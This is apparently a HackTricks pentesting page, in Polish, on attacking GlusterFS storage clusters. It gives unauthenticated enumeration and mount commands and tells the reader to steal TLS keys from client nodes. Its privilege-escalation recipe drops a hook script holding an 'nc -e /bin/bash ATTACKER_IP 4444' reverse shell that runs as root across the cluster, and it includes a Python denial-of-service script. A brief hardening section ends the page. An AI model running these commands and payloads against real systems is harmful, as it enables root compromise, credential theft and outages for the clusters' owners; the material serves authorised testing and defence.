24007-24008-24009-49152 - Pentesting GlusterFS
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
GlusterFS to rozproszony system plików, który łączy pamięć masową z wielu serwerów w jeden zunifikowany przestrzeń nazw. Demon zarządzający (glusterd
) nasłuchuje domyślnie na 24007/TCP i instruuje bloki danych, które zaczynają się na 49152/TCP (jeden port na blok, inkrementacja). Wersje przed 9.x używały 24008–24009/TCP do transportu bloków, więc nadal napotkasz te porty w starszych klastrach.
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
Wskazówka: 24007 odpowiada na wywołania RPC, nawet gdy węzły tylko do przechowywania nie eksportują żadnej objętości; dlatego usługa jest niezawodnym celem do ataków w dużych infrastrukturach.
Enumeracja
Zainstaluj narzędzia klienckie na swoim atakującym systemie:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- Odkrywanie peerów i zdrowie
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- Rozpoznanie wolumenu
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- Montowanie bez uprawnień
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
Jeśli montowanie nie powiedzie się, sprawdź /var/log/glusterfs/<vol_name>-<uid>.log
po stronie klienta. Typowe problemy to:
- Wymuszenie TLS (
option transport.socket.ssl on
) - Kontrola dostępu oparta na adresach (
option auth.allow <cidr>
)
Rozwiązywanie problemów z certyfikatami
Skradnij następujące pliki z dowolnego autoryzowanego węzła klienckiego i umieść je w /etc/ssl/
(lub w katalogu pokazanym w dzienniku błędów):
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
Znane luki (2022-2025)
CVE | Wersje dotknięte | Wpływ | Uwagi |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | Use-after-free w dht_setxattr_mds_cbk dostępne przez sieć | Zdalny DoS i prawdopodobne RCE. Naprawione w 10.4.1 / 11.1. |
CVE-2023-26253 | < 11.0 | Odczyt poza zakresem w obsłudze powiadomień FUSE | Zdalny awaria przez spreparowane operacje FS; publiczny PoC dostępny. |
CVE-2023-3775 | < 10.5 / 11.1 | Nieprawidłowa walidacja uprawnień podczas montowania gluster_shared_storage | Pozwala każdemu nieautoryzowanemu klientowi zamontować wolumin administratora – prowadzi do priv-esc wyjaśnionego poniżej. |
Zawsze sprawdzaj
gluster --version
na każdym węźle; heterogeniczne klastry są powszechne po częściowych aktualizacjach.
Wykorzystywanie gluster_shared_storage
(Escalacja uprawnień)
Nawet w najnowszych wersjach wielu administratorów pozostawia specjalny wolumin gluster_shared_storage
dostępnym do odczytu dla wszystkich, ponieważ upraszcza to geo-replikację. Wolumin zawiera szablony zadań cron, które są uruchamiane z root na każdym węźle.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
Jeśli hooks/1/
nie jest obecny, poszukaj /ss_bricks/
– dokładna ścieżka może się różnić w zależności od głównej wersji.
Denial-of-Service PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
Uruchomienie skryptu powoduje awarię glusterfsd
< 11.0.
Wzmacnianie i wykrywanie
- Aktualizacja – obecna wersja LTS to 11.1 (lipiec 2025). Wszystkie CVE powyżej zostały naprawione.
- Włącz TLS dla każdego bricka:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- Ogranicz klientów za pomocą list CIDR:
gluster volume set <vol> auth.allow 10.0.0.0/24
- Udostępnij port zarządzania 24007 tylko na prywatnym VLAN lub przez tunel SSH.
- Obserwuj logi:
tail -f /var/log/glusterfs/glusterd.log
i skonfiguruj funkcję audit-log (volume set <vol> features.audit-log on
).
Odniesienia
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.